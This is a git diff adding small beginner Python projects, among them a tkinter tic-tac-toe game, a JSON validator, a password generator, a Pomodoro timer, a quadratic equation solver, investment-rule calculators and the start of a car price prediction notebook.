BOARD_SCORE['BACKGROUND'], + style = FRAME_STYLE_SCORE, + + ) + + self.Style.configure( + + background = BOARD_GAME['BACKGROUND_FRAME'], + style = FRAME_STYLE_GAME, + + ) + + self.Style.configure( + + background = BOARD_GAME['BACKGROUND'], + bordercolor = BOARD_GAME['BORDER_COLOR'], + borderthickness = BOARD_GAME['BORDER_THICKNESS'], + borderwidth = BOARD_GAME['BORDER_WIDTH'], + font = (BOARD_GAME['FONT'], BOARD_GAME['FONT_SIZE']), + justify = BOARD_GAME['JUSTIFY'], + relief = BOARD_GAME['RELIEF'], + style = BUTTON_BOARD_STYLE, + + ) + + self.Style.map( + + style = BUTTON_BOARD_STYLE, + foreground = [ + ('active', BOARD_GAME['TEXT_COLOR_ACTIVE']), + ('disabled', BOARD_GAME['TEXT_COLOR_DISABLED']) + ], + background = [ + ('active', BOARD_GAME['HOVER_COLOR_ACTIVE']), + ('disabled', BOARD_GAME['HOVER_COLOR_DISABLED']) + ] + ) + + self.Style.configure( + + background = RESET_BUTTON['BACKGROUND'], + bordercolor = RESET_BUTTON['BORDER_COLOR'], + borderthickness = RESET_BUTTON['BORDER_THICKNESS'], + borderwidth = RESET_BUTTON['BORDER_WIDTH'], + font = (RESET_BUTTON['FONT'], RESET_BUTTON['SIZE']), + justify = RESET_BUTTON['JUSTIFY'], + relief = RESET_BUTTON['RELIEF'], + style = BUTTON_RESET_STYLE, + + ) + self.Style.map( + + style = BUTTON_RESET_STYLE, + foreground = [ + ('active', RESET_BUTTON['TEXT_COLOR_ACTIVE']), + ('disabled', RESET_BUTTON['TEXT_COLOR_DISABLED']) + ], + background = [ + ('active', RESET_BUTTON['HOVER_COLOR_ACTIVE']), + ('disabled', RESET_BUTTON['HOVER_COLOR_DISABLED'])] + + ) + + self.Style.configure( + + background = BOARD_SCORE['BACKGROUND'], + font = (BOARD_SCORE['FONT'], BOARD_SCORE['FONT_SIZE']), + foreground = BOARD_SCORE['TEXT_COLOR'], + style = LABEL_SCORE_STYLE, + + ) + + # set player data + self.player_1 = ttk.IntVar(value = 0) + self.player_2 = ttk.IntVar(value = 0) + self.tie_score = ttk.IntVar(value = 0) + + # set widgets + self.board_game = BoardGame( + + parent = self, + style_cells = BUTTON_BOARD_STYLE, + style_frame = FRAME_STYLE_GAME, + player_1 = self.player_1, + tie = self.tie_score, + player_2 = self.player_2, + + ) + + self.board_score = BoardScore( + + parent = self, + style_labels = LABEL_SCORE_STYLE, + style_frame = FRAME_STYLE_SCORE, + style_button = BUTTON_RESET_STYLE, + player_1 = self.player_1, + tie = self.tie_score, + player_2 = self.player_2, + function = self.clean_board + + ) + + # run + self.mainloop() + + def clean_board(self): + """ + It clean the board and reset the score + """ + self.board_game.clean_board() + self.player_1.set(0) + self.player_2.set(0) + self.tie_score.set(0) + + def set_emtpy_icon(self) -> None: + """ + It sets the icon to one empty from the title bar + + """ + try: + path_image: str = path_resource('media/empty.ico') + self.iconbitmap(path_image) + except Exception: + pass + + def set_window_size(self, width: int, height: int) -> None: + """ + It adjust the window size to be in the center of the screen + + """ + left = int(self.winfo_screenwidth() / 2 - width / 2) + top = int(self.winfo_screenheight() / 2 - height / 2) + self.geometry(f'{width}x{height}+{left}+{top}') + + def set_title_bar_color(self) -> None: + """ + It works only on Windows, not on GNU/Linux and macOS. + """ + try: + HWND = windll.user32.GetParent(self.winfo_id()) + DWMWA_ATTRIBUTE: int = 35 # target the title bar + color_tile: int = 0x00030303 + windll.dwmapi.DwmSetWindowAttribute(HWND, DWMWA_ATTRIBUTE, byref(c_int(color_tile)), sizeof(c_int)) + except Exception: + pass + + +if __name__ == '__main__': + + # starts the game + TicTacToe() diff --git a/GUI/JSON Validator/README.md b/GUI/JSON Validator/README.md new file mode 100644 index 00000000..d8868a44 --- /dev/null +++ b/GUI/JSON Validator/README.md @@ -0,0 +1,29 @@ +# GUI JSON Validator + +## Description + +The GUI JSON Validator is a simple tool that allows you to validate JSON strings using a graphical user interface. It consists of two components: a JSON lexer and parser and a graphical interface for user interaction. + +## Screenshot + +**Valid JSON Screenshot**\ +[![Valid-JSON.png](https://i.postimg.cc/y8ngKCYZ/Valid-JSON.png)](https://postimg.cc/qNhMcYKJ) + +**Invalid JSON Screenshot**\ +[![Invalid-JSON.png](https://i.postimg.cc/9fM4FgrN/Invalid-JSON.png)](https://postimg.cc/XrRNs8Kw) + +## How to Use + +1. **JSON Lexer and Parser:** + - The `json_parser` module provides a JSON lexer and parser. + - It can be used independently for programmatic JSON validation. + +2. **GUI JSON Validator:** + - The `JSONValidator` class provides a graphical user interface for JSON validation. + - Run the `JSONValidator` class from the provided script to launch the GUI. + - Input your JSON string in the text box and click the "Validate" button. + - The result will be displayed in the information label. + +## Dependencies + +- The `json_parser` module is required for JSON parsing. diff --git a/GUI/JSON Validator/json_parser.py b/GUI/JSON Validator/json_parser.py new file mode 100644 index 00000000..c978d5fe --- /dev/null +++ b/GUI/JSON Validator/json_parser.py @@ -0,0 +1,235 @@ +class JSONLexer: + def __init__(self, json_string): + self.json_string = json_string + self.tokens = [] + self.current_position = 0 + + def tokenize(self): + if len(self.json_string) > 0: + while self.current_position < len(self.json_string): + current_char = self.json_string[self.current_position] + + if current_char.isspace(): + self.current_position += 1 + elif current_char == "{": + self.tokens.append(("LBRACE", "{")) + self.current_position += 1 + elif current_char == "}": + self.tokens.append(("RBRACE", "}")) + self.current_position += 1 + elif current_char == "[": + self.tokens.append(("LBRACKET", "[")) + self.current_position += 1 + elif current_char == "]": + self.tokens.append(("RBRACKET", "]")) + self.current_position += 1 + elif current_char == ",": + self.tokens.append(("COMMA", ",")) + self.current_position += 1 + elif current_char == ":": + self.tokens.append(("COLON", ":")) + self.current_position += 1 + elif current_char.isdigit() or current_char == "-": + number, success, consumed = self.lex_number() + if success: + self.tokens.append(("NUMBER", number)) + self.current_position += consumed + else: + print(f"Error Tokenizing: {number}") + return 1 + elif current_char == '"': + str, success, consumed = self.lex_string() + if success: + self.tokens.append(("STRING", str)) + self.current_position += consumed + else: + print(f"Error Tokenizing: {str}") + return 1 + elif self.json_string.startswith("true", self.current_position): + self.tokens.append(("TRUE", "true")) + self.current_position += 4 + elif self.json_string.startswith("false", self.current_position): + self.tokens.append(("FALSE", "false")) + self.current_position += 5 + elif self.json_string.startswith("null", self.current_position): + self.tokens.append(("NULL", "null")) + self.current_position += 4 + else: + print(f"Unexpected character: {current_char}") + return 1 + + return self.tokens + else: + return 1 + + def lex_string(self): + start_index = self.current_position + 1 + chars_count = 2 # Includes the opening and closing quotes + str_ = "" + escaped = False + + for char in self.json_string[start_index:]: + if char == "\\" and not escaped: + escaped = True + elif char == '"' and not escaped: + return str_, True, chars_count + elif escaped and char not in ["\\", '"', "b", "f", "n", "r", "t", "u", "/"]: + break + elif char in ["\t", "\n"]: + break + else: + escaped = False + + str_ = str_ + char + chars_count += 1 + + return str_, False, chars_count + + def lex_number(self): + start_index = self.current_position + chars_count = 0 + num_string = "" + + # Check for number starting with 0 which is not a float + if len(self.json_string[start_index:]) > 1: + if self.json_string[start_index] == "0" and self.json_string[ + start_index + 1 + ] not in [".", ","]: + return num_string, False, chars_count + + for char in self.json_string[start_index:]: + if not char.isdigit() and char not in ["-", ".", "e", "E", "+"]: + break + num_string = num_string + char + chars_count += 1 + + try: + num = ( + int(num_string) + if "." not in num_string and "e" not in num_string.lower() + else float(num_string) + ) + return num, True, chars_count + except ValueError: + return num_string, False, chars_count + + +class JSONParser: + def __init__(self, json_string): + self.tokens = JSONLexer(json_string).tokenize() + self.current_token = None + self.current_index = 0 + + def parse(self): + if self.tokens == 1: + print(f"Error Parsing: Token: {self.current_token} Err: Not JSON") + return 1 + else: + self.current_token = self.tokens[0] + + if self.current_token[0] not in ["LBRACE", "LBRACKET"]: + print(f"Error Parsing: Token: {self.current_token} Err: Not JSON") + return 1 + else: + result = self.parse_value() + + # Check if values exist after closing brace or bracket + if self.current_index + 1 != len(self.tokens): + return 1 + else: + return result + + def parse_value(self): + if self.current_token[0] == "STRING": + return 0 + elif self.current_token[0] == "FALSE": + return 0 + elif self.current_token[0] == "TRUE": + return 0 + elif self.current_token[0] == "NULL": + return 0 + elif self.current_token[0] == "NUMBER": + return 0 + elif self.current_token[0] == "LBRACE": + return self.parse_object() + elif self.current_token[0] == "LBRACKET": + return self.parse_array() + else: + return 1 + + def parse_object(self): + self.next_token() # Move past the brace token + + while self.current_token != None and self.current_token[0] != "RBRACE": + if self.current_token[0] == "STRING": + self.next_token() + else: + print(f"Error Parsing: Token: {self.current_token} Err: Key Error") + return 1 + + if self.current_token[0] == "COLON": + self.next_token() + else: + print(f"Error Parsing: Token: {self.current_token} Err: Colon Error") + return 1 + + if self.parse_value() == 0: + self.next_token() + else: + print(f"Error Parsing: Token: {self.current_token} Err: Value Error") + return 1 + + res = self.parse_comma() + if res == 1: + print(f"Error Parsing: Token: {self.current_token} Err: Extra Comma") + return 1 + + if ( + "COMMA" not in self.tokens[self.current_index - 1] + and self.current_token != None + ): + return 0 + else: + print(f"Error Parsing: Token: {self.current_token} Err: Missing Values") + return 1 + + def parse_array(self): + self.next_token() # Move past the bracket token + + while self.current_token != None and self.current_token[0] != "RBRACKET": + if self.parse_value() == 0: + self.next_token() + else: + print(f"Error Parsing: Token: {self.current_token} Err: Value Error") + return 1 + + res = self.parse_comma() + if res == 1: + print(f"Error Parsing: Token: {self.current_token} Err: Extra Comma") + return 1 + + if ( + "COMMA" not in self.tokens[self.current_index - 1] + and self.current_token != None + ): + return 0 + else: + print(f"Error Parsing: Token: {self.current_token} Err: Missing Values") + return 1 + + def parse_comma(self): + if self.current_token != None: + if self.current_token[0] == "COMMA": + self.next_token() + + return 0 + else: + return 1 + + # Move to next token + def next_token(self): + self.current_index += 1 + if self.current_index < len(self.tokens): + self.current_token = self.tokens[self.current_index] + else: + self.current_token = None diff --git a/GUI/JSON Validator/main.py b/GUI/JSON Validator/main.py new file mode 100644 index 00000000..db169a0f --- /dev/null +++ b/GUI/JSON Validator/main.py @@ -0,0 +1,64 @@ +import json_parser +from tkinter import * + + +class JSONValidator: + def __init__(self, master): + self.master = master + master.title("JSON Validator") + + # Input, Button and Label - Init and Placement + + # JSON Text Box + self.text_input = Text(master, height=10, width=40) + self.text_input.pack(pady=20) + self.text_input.tag_configure("center", justify="center") + self.text_input.insert("1.0", "Input your JSON here") + self.text_input.tag_add("center", "1.0", "end") + + # Validate Button + self.validate_button = Button( + master, text="Validate", command=self.validate_input + ) + self.validate_button.pack() + + # Clear Button + self.clear_button = Button(master, text="Clear", command=self.clear_input) + self.clear_button.pack(pady=15) + + # Result Label + self.info_label = Label(master, text=" ") + self.info_label.pack(side=TOP, pady=25) + + # Window sizing and placement + master.update_idletasks() + + x = (master.winfo_screenwidth() - (master.winfo_reqwidth() + 100)) // 2 + y = (master.winfo_screenheight() - (master.winfo_reqheight() + 10)) // 2 + + master.geometry( + f"{master.winfo_reqwidth() + 100}x{master.winfo_reqheight() + 10}+{x}+{y}" + ) + master.resizable(False, False) + + master.mainloop() + + def validate_input(self): + input_text = self.text_input.get("1.0", "end-1c") + + validator = json_parser.JSONParser(input_text) + result = validator.parse() + + if not result: + self.info_label.configure(text="JSON is Valid") + else: + self.info_label.configure(text="JSON is Invalid") + + def clear_input(self): + self.text_input.delete("1.0", END) + self.info_label.configure(text="") + + +if __name__ == "__main__": + root = Tk() + validator = JSONValidator(root) diff --git a/GUI/Password Generator/password_generator.py b/GUI/Password Generator/password_generator.py new file mode 100644 index 00000000..9f662afa --- /dev/null +++ b/GUI/Password Generator/password_generator.py @@ -0,0 +1,50 @@ +import tkinter as tk +import random +import string +import pyperclip + +# Define the main function for generating the password +def generate_password(): + password_length = length_entry.get() + if password_length.isdigit() and int(password_length) > 0: + password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=int(password_length))) + password_entry.delete(0, tk.END) + password_entry.insert(0, password) + else: + password_entry.delete(0, tk.END) + password_entry.insert(0, "Invalid password length") + +# Define the function for copying the password to the clipboard +def copy_password(): + password = password_entry.get() + pyperclip.copy(password) + +# Create the main window +root = tk.Tk() +root.title("Password Generator") + +# Create the password length label and entry widget +length_label = tk.Label(root, text="Password Length:") +length_label.pack(pady=10) +length_entry = tk.Entry(root, width=5) +length_entry.pack() + +# Create the "Generate Password" button +generate_button = tk.Button(root, text="Generate Password", command=generate_password) +generate_button.pack(pady=10) + +# Create the password entry widget +password_label = tk.Label(root, text="Generated Password:") +password_label.pack() +password_entry = tk.Entry(root, width=30) +password_entry.pack(pady=10) + +# Create the "Copy Password" button +copy_button = tk.Button(root, text="Copy Password", command=copy_password) +copy_button.pack(pady=10) + +# Set the focus on the length entry widget +length_entry.focus() + +# Run the main loop +root.mainloop() diff --git a/GUI/Password Generator/readme.md b/GUI/Password Generator/readme.md new file mode 100644 index 00000000..ebeb3ed2 --- /dev/null +++ b/GUI/Password Generator/readme.md @@ -0,0 +1,16 @@ +## Password Generator + +This is a simple password generator script written in Python using the tkinter GUI library. The script allows the user to specify the length of the password and generates a random password of that length using a combination of uppercase and lowercase letters, digits, and punctuation. + +## Usage: +1. Install the required dependencies by running `pip install -r requirements.txt`. +2. Run the script by executing the `password_generator.py` file. +3. Enter a positive integer value for the desired length of the password. +4. Click the "Generate Password" button to generate a new password. +5. Click the "Copy Password" button to copy the generated password to the clipboard. + +## Dependencies: +- Python 3.6 or later +- tkinter 8.6 or later +- pyperclip 1.8.2 or later + diff --git a/GUI/Password Generator/requirements.txt b/GUI/Password Generator/requirements.txt new file mode 100644 index 00000000..f527242e --- /dev/null +++ b/GUI/Password Generator/requirements.txt @@ -0,0 +1,4 @@ +# Required dependencies for the Password Generator script +python_version >= 3.6 +tkinter >= 8.6 +pyperclip >= 1.8.2 diff --git a/GUI/Pomodoro Timer/Pomodoro_timer.py b/GUI/Pomodoro Timer/Pomodoro_timer.py new file mode 100644 index 00000000..f188dd09 --- /dev/null +++ b/GUI/Pomodoro Timer/Pomodoro_timer.py @@ -0,0 +1,108 @@ +import tkinter as Tk +from tkinter import Button +from tkinter import Label +from tkinter import StringVar +from tkinter import messagebox +from pygame import mixer + +# window geometry +HEIGTH = 700 +WIDTH = 500 + +# palette +BUTTON_GRAPHIC = { + 'bd': 4, + 'fg': '#F0F8FF', + 'bg': 'red', + 'font': ('arial', 13), + 'width': 2, + 'height': 2, + 'relief': 'flat', + 'activebackground': 'green' + } + +WINDOW_COLOR = {'bg': 'black'} + +class PomodoroTimer: + + tot_seconds = 50 * 60 + + def __init__(self, window): + mixer.init() + self.window = window + self.stop = False + self.start = False + self.window.title('Hocus pocus keep tha focus!') + self.window.geometry(f"{HEIGTH}x{WIDTH}") + self.window.configure(**WINDOW_COLOR) + self.sound = mixer.Sound('Success.wav') + + # method containing the main logic + def start_timer(self): + self.start = True + if self.start and not self.stop: + if self.tot_seconds > 0: + minute, seconds = divmod(self.tot_seconds, 60) + self.min_.set(f"{minute:02d}") + self.sec.set(f"{seconds:02d}") + self.tot_seconds -= 1 + self.start_button.config(state=Tk.DISABLED) + self.window.after(1000, self.start_timer) + + elif self.stop_timer: + self.start = True + self.stop = False + self.start_button.config(state=Tk.NORMAL) + + elif self.reset_timer: + self.start_timer() + + if self.tot_seconds == 0: + self.stop = True + self.break_time() + + def break_time(self): + self.start = False + self.tot_seconds = 50 * 60 + self.sound.play(1) + messagebox.showinfo(title='Pause', message='Time to take a 10 minutes break!') + + def stop_timer(self): + if self.start and not self.stop: + self.start = False + self.stop = True + + def reset_timer(self): + self.stop = True + self.min_.set('50') + self.sec.set('00') + self.tot_seconds = 50 * 60 + + def main(self): + + self.min_ = StringVar() + self.sec = StringVar() + self.min_.set('50') + self.sec.set('00') + + # main buttons - START, RESET, STOP + self.start_button = Button(self.window, text='START', padx=30, pady=20, **BUTTON_GRAPHIC, command=self.start_timer) + self.reset_button = Button(self.window, text='RESET', padx=30, pady=20, **BUTTON_GRAPHIC, command=self.reset_timer) + self.stop_button = Button(self.window, text='STOP', padx=30, pady=20, **BUTTON_GRAPHIC, command=self.stop_timer) + + # display + self.set_minute_display = Label(self.window, textvariable=self.min_, font=('bold', 30)).place(x=100, y=120, width=200, height=100) + self.set_seconds_display = Label(self.window, textvariable=self.sec, font=('bold', 30)).place(x=400, y=120, width=200, height=100) + + # buttons placement + self.start_button.place(x=300, y=390) + self.reset_button.place(x=200, y=390) + self.stop_button.place(x=400, y=390) + + # initialize window + self.window.mainloop() + +# Main driver +if __name__ == "__main__": + timer = PomodoroTimer(Tk.Tk()) + timer.main() diff --git a/GUI/Pomodoro Timer/README.md b/GUI/Pomodoro Timer/README.md new file mode 100644 index 00000000..7adc9142 --- /dev/null +++ b/GUI/Pomodoro Timer/README.md @@ -0,0 +1,10 @@ +# Pomodoro-Timer +Pomodoro Timer made with Tkinter to help you study + +# Usage +Clone the repository then + +```cd Python-project-Scripts/GUI/Pomodoro Timer ; python3 Pomodoro_timer.py``` + +# Screenshot +![image](screenshot.png) \ No newline at end of file diff --git a/GUI/Pomodoro Timer/Success.wav b/GUI/Pomodoro Timer/Success.wav new file mode 100644 index 00000000..e8ce1c60 Binary files /dev/null and b/GUI/Pomodoro Timer/Success.wav differ diff --git a/GUI/Pomodoro Timer/screenshot.png b/GUI/Pomodoro Timer/screenshot.png new file mode 100644 index 00000000..d00b418e Binary files /dev/null and b/GUI/Pomodoro Timer/screenshot.png differ diff --git a/GUI/Quadratic-Equation-Solver/README.md b/GUI/Quadratic-Equation-Solver/README.md new file mode 100644 index 00000000..248ff38a --- /dev/null +++ b/GUI/Quadratic-Equation-Solver/README.md @@ -0,0 +1,49 @@ +# Quadratic equation solver + +![image](img.png) + +## Requirements +```powershell +numpy : 1.24.2 +matplotlib : 3.6.3 +ttkbootstrap : 1.10.1 +tkinter: "inbuilt", 8.6 +``` + +A simple quadratic equation solver with ttkbootstrap as GUI + +- A Quadratic class was created to ease GUI use + +## `Class Quadratic` +A quadratic class recieves 3 arguments (a,b,c) according to +ax² + bx + c +```python +q1 = Quadratic(a = 2, b = 4, c = 5) +``` +## Methods +### The solve quad method solves a quadratic expression assuming the expression is equal to 0 + > returns a tuple of two numbers + ```python + q1 = Quadratic(a = 1, b = 8, c = 16) + print(q1.solveQuad()) + + # returns 4, 4 + ``` + > Where the determinant is less than zero, a complex number solution is returned `python3 supports complex numbers` + +### The evaluate method replaces the x in ax² + bx + c with an integer or float and returns the calculated value + ```python + q1 = Quadratic(a = 1, b = 8, c = 16) + print(q1.evaluate(value = 2)) + + # returns 36 + ``` +### The draw figure method draws a quadratic equation graph using numpy and matplotlib + > `numpy and matplotlib required` see requirements section above + ```python + q1 = Quadratic(a = 1, b = 8, c = 16) + print(q1.drawFigure()) + + # returns 4, 4 + ``` + > A matplotlib figure is returned and can be added to a matplotlib graph diff --git a/GUI/Quadratic-Equation-Solver/img.png b/GUI/Quadratic-Equation-Solver/img.png new file mode 100644 index 00000000..7f1f04ae Binary files /dev/null and b/GUI/Quadratic-Equation-Solver/img.png differ diff --git a/GUI/Quadratic-Equation-Solver/quad.py b/GUI/Quadratic-Equation-Solver/quad.py new file mode 100644 index 00000000..8d8de174 --- /dev/null +++ b/GUI/Quadratic-Equation-Solver/quad.py @@ -0,0 +1,47 @@ +import matplotlib.pyplot as plt +import numpy as np + + +class Quadratic: + """Representing a quadratic expression in the form of ax² + bx + c""" + + def __init__(self,a : float, b : float, c : float) -> None: + # A class is created succesfully if the arguments of the class are either of float type or int type + if (type(a) == type(0.1) or type(a) == type(1)) and (type(b) == type(0.1) or type(b) == type(1)) and (type(c) == type(0.1) or type(c) == type(1)): + self.a = a + self.b = b + self.c = c + else: + raise ValueError("Argument must be of type int or float") + + def __repr__(self) -> str: + """ Printing a quadratic class """ + return "Quad( {0}x² + {1}x + {2} )".format(self.a,self.b,self.c) + + def solveQuad(self) -> tuple[float,float]: + """Solving the expression assuming it is equal to 0. + returns a tuple of 2 values""" + + determinant = ((self.b ** 2) - (4 * self.a * self.c)) ** 0.5 # The determinant of a quadratic equation is the root of b² - 4ac + firstSolution = ((-1 * self.b) + determinant) / (2 * self.a) + secondSolution = ((-1 * self.b) - determinant) / (2 * self.a) + return (firstSolution,secondSolution) + + def evaluate(self, value): + """Evaluate the Quadratic expression. with x in ax² + bx + c as a numeric type""" + solution = ((self.a * (value ** 2)) + (self.b * value) + self.c) + return solution + + def drawFigure(self): + """Draws a quadratic graph of the quadratic expression and returns a matplotlib figure""" + x_axis = np.linspace(-10,10,50) + y_axis = self.evaluate(x_axis) + + figure, axes = plt.subplots() + + axes.plot(x_axis,y_axis, linewidth = 1) + axes.grid(visible = True) + axes.set_title(self) + axes.xaxis.set_minor_formatter(str(x_axis)) + return figure + diff --git a/GUI/Quadratic-Equation-Solver/ui.py b/GUI/Quadratic-Equation-Solver/ui.py new file mode 100644 index 00000000..18212c1b --- /dev/null +++ b/GUI/Quadratic-Equation-Solver/ui.py @@ -0,0 +1,95 @@ +import ttkbootstrap as tb +from ttkbootstrap.constants import * +from tkinter import * +from ttkbootstrap.scrolled import ScrolledFrame +from quad import Quadratic +from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk +from ttkbootstrap.dialogs import Messagebox + +# Most variables are named a,b,c according to ax² + bx + c in a quadratic equation + +def plot(): + + # Collect all inputs + a_entryInput = a_entry.get() + b_entryInput = b_entry.get() + c_entryInput = c_entry.get() + + try: + a = float(a_entryInput) + b = float(b_entryInput) + c = float(c_entryInput) + eqn = Quadratic(a,b,c) + + #-------------------------------------------------------------------------- + # Background Graph Frame + graph_frame = ScrolledFrame(root, width = 800, height = 500) + graph_frame.grid(row = 1, column = 0,pady = 10) + + fig = eqn.drawFigure() + + canvas = FigureCanvasTkAgg(figure = fig, master = graph_frame) + canvas.draw() + canvas.get_tk_widget().pack() + + toolbar = NavigationToolbar2Tk(canvas, graph_frame) + toolbar.update() + + canvas.get_tk_widget().pack() + solution_label.config(text = "Solution : x₠= {0}, x₂ = {1}".format(eqn.solveQuad()[0], eqn.solveQuad()[1])) + + except: + Messagebox.show_error(title = "Error", message = "User entered wrong value") + + + +# Base window widget +root = tb.Window(themename="vapor") +root.geometry("720x720") +root.title("Quadratic Equation Solver") + +# Font data +font = ("Nunito", 12) + +# Frame containing the entry for the three arguments +top_frame = tb.Frame(root) +top_frame.grid(row = 0, column = 0,padx = 10, pady = 20) + +# Entry for the three arguments +a_frame = tb.Frame(top_frame) +a_frame.grid(row = 0, column = 0, padx=5) + +a_label = tb.Label(a_frame, text= "a =", font = font) +a_label.grid(row = 0, column = 0) + +a_entry = tb.Entry(a_frame, width = 30, font = font) +a_entry.grid(row = 0, column = 1) + +b_frame = tb.Frame(top_frame) +b_frame.grid(row = 0, column = 1, padx=5) + +b_label = tb.Label(b_frame, text = "b =", font = font) +b_label.grid(row = 0, column = 0) + +b_entry = tb.Entry(b_frame, width = 30, font = font) +b_entry.grid(row = 0, column = 1) + +c_frame = tb.Frame(top_frame) +c_frame.grid(row = 0, column = 2, padx=5) + +c_label = tb.Label(c_frame, text = "c =", font = font) +c_label.grid(row = 0, column = 0) + +c_entry = tb.Entry(c_frame, width = 30, font = font) +c_entry.grid(row = 0, column = 1) + + +# Button to plot the matplotlib graph +plot_button = tb.Button(top_frame, width = 70, text = "Plot", command = plot) +plot_button.grid(row = 1, column = 1, pady = 15) + +# Label containing the solution to the equation +solution_label = tb.Label(root,font = (font[0], 15), text = "") +solution_label.grid(row = 2, column = 0, pady = 10) + +root.mainloop() \ No newline at end of file diff --git a/INVESTMENT_RULES/README.md b/INVESTMENT_RULES/README.md new file mode 100644 index 00000000..99198579 --- /dev/null +++ b/INVESTMENT_RULES/README.md @@ -0,0 +1,28 @@ +# List of python scripts that auomates calculation of really handful of Investment Rules. + +## 1. What Is the Rule of 72? + The Rule of 72 is a simple way to determine how long an investment will take to double given a fixed annual rate of interest. Dividing 72 by the annual rate of return gives investors a rough estimate of how many years it will take for the initial investment to duplicate itself. + +### Key takeaways + The Rule of 72 is not precise, but is a quick way to get a useful ballpark figure. + For investments without a fixed rate of return, you can instead divide 72 by the number of years you hope it will take to double your money. This will give you an estimate of the annual rate of return you’ll need to achieve that goal. + The calculation is most accurate for rates of return of about 5% to 10%. + For more precise outcomes, divide 69.3 by the rate of return. While not as easy to do in one’s head, it is more accurate. + +### How the Rule of 72 Works + For example, the Rule of 72 states that $1 invested at an annual fixed interest rate of 10% would take 7.2 years ((72 ÷ 10) = 7.2) to grow to $2. + +For more details refer https://www.investopedia.com/ask/answers/what-is-the-rule-72/ + +## 2. Real Rate of Return adjusted to Inflation + You know that investments have to do more than keep pace with inflation for you to build wealth. As Golden says, + “A dollar today is not worth a dollar in the future.†But how do you determine what your investment return is after inflation? + This equation helps you compute your real return, or your return adjusted for inflation. + + For example, if an investment returns 8 percent, and inflation is 3 percent, this is how you’d set up the problem: + [ ( 1.08 ÷ 1.03 ) - 1 ] x 100 = 4.85 percent real return + + “You’re losing to inflation every year,†says Charles Sachs, a wealth manager at Kaufman Rossin Wealth in Miami. + “Long term, inflation runs about 3 percent. So your money buys half as much in 20 years.†+ + Learn more here--> https://finance.yahoo.com/news/6-investment-formulas-financial-success-172744221.html \ No newline at end of file diff --git a/INVESTMENT_RULES/inflation_adjusted_return.py b/INVESTMENT_RULES/inflation_adjusted_return.py new file mode 100644 index 00000000..6a59cd2f --- /dev/null +++ b/INVESTMENT_RULES/inflation_adjusted_return.py @@ -0,0 +1,18 @@ +Inflation_Adjsted_Return_Summary = """ +Learn More about this investment rule in README.md located in INVESTMENT_RULES folder** + """ + +print(Inflation_Adjsted_Return_Summary) + +# Get the Avg Investment Rate of Return and Avg Inflation Rate +invest_rate_return = float(input("What is expected average Rate of Return (don't use % sign): "))/100 +avg_inflration_rate = float(input("What is your avg inflation rate?: "))/100 + + +def inflation_adjusted_return(invest_rate_return, avg_inflration_rate): + # Simple formula is : ((1 + Investment return percentage) / (1 + Inflation rate percentage) - 1) x 100 + inflration_adjusted_return_val = (((1 +invest_rate_return )/(1 +avg_inflration_rate)) - 1) * 100 + return inflration_adjusted_return_val + +real_return = round(inflation_adjusted_return(invest_rate_return, avg_inflration_rate),2) +print(f"Your Actual Rate of Return adjusted to the inflation is {real_return}%. Not {invest_rate_return*100}% ") \ No newline at end of file diff --git a/INVESTMENT_RULES/rule_of_72.py b/INVESTMENT_RULES/rule_of_72.py new file mode 100644 index 00000000..f1b4f1f3 --- /dev/null +++ b/INVESTMENT_RULES/rule_of_72.py @@ -0,0 +1,11 @@ +# Get Aannual fixed interest rate +fixed_interest_rate = input("Please enter the Annual Fixed interest rate (don't use % sign): ") + + +def calculate_time_taken_to_double(fixed_interest_rate): + # A simple formula calulate the time it takes to double an investment. + time_taken = 72/float(fixed_interest_rate) + return time_taken + +time_taken_to_double = round(calculate_time_taken_to_double(fixed_interest_rate),2) +print(f"Your investment will take {time_taken_to_double} year(s) to double!") \ No newline at end of file diff --git a/MachineLearning Projects/Car Price Predictor/Car Price Predictor.ipynb b/MachineLearning Projects/Car Price Predictor/Car Price Predictor.ipynb new file mode 100644 index 00000000..8ee3c1c7 --- /dev/null +++ b/MachineLearning Projects/Car Price Predictor/Car Price Predictor.ipynb @@ -0,0 +1 @@ +{"nbformat":4,"nbformat_minor":0,"metadata":{"colab":{"provenance":[],"authorship_tag":"ABX9TyPz/lAzBvk//34hxlgG4Zpo"},"kernelspec":{"name":"python3","display_name":"Python 3"},"language_info":{"name":"python"}},"cells":[{"cell_type":"markdown","source":["Importing the required libraries"],"metadata":{"id":"AevzixIzAl0Q"}},{"cell_type":"code","source":["from google.colab import drive\n","drive.mount(\"/content/gdrive\")"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"7-UxVJQnBFaO","executionInfo":{"status":"ok","timestamp":1683729014318,"user_tz":-330,"elapsed":7145,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"98e5ff85-f955-43d9-a71c-cb5f8e59c1ef"},"execution_count":16,"outputs":[{"output_type":"stream","name":"stdout","text":["Drive already mounted at /content/gdrive; to attempt to forcibly remount, call drive.mount(\"/content/gdrive\", force_remount=True).\n"]}]},{"cell_type":"code","execution_count":90,"metadata":{"id":"OUezjB_W7tFF","executionInfo":{"status":"ok","timestamp":1683736133540,"user_tz":-330,"elapsed":580,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}}},"outputs":[],"source":["import pandas as pd\n","import matplotlib.pyplot as plt\n","import seaborn as sns\n","from sklearn.model_selection import train_test_split\n","from sklearn.linear_model import LinearRegression\n","from sklearn.linear_model import SGDRegressor\n","from sklearn import metrics"]},{"cell_type":"markdown","source":["Loading the dataset"],"metadata":{"id":"DSm2ssIuAthX"}},{"cell_type":"code","source":["data=pd.read_csv('/content/gdrive/My Drive/datasets/car_dataset_2.csv')"],"metadata":{"id":"J-uTzEuTAsRM","executionInfo":{"status":"ok","timestamp":1683729018697,"user_tz":-330,"elapsed":2109,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}}},"execution_count":17,"outputs":[]},{"cell_type":"code","source":["data.head()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/","height":250},"id":"niokGQGgBY7i","executionInfo":{"status":"ok","timestamp":1683729024054,"user_tz":-330,"elapsed":508,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"56666fc3-3bf8-4eaa-f821-a5854e3ab52b"},"execution_count":18,"outputs":[{"output_type":"execute_result","data":{"text/plain":[" name year selling_price km_driven fuel \\\n","0 Maruti 800 AC 2007 60000 70000 Petrol \n","1 Maruti Wagon R LXI Minor 2007 135000 50000 Petrol \n","2 Hyundai Verna 1.6 SX 2012 600000 100000 Diesel \n","3 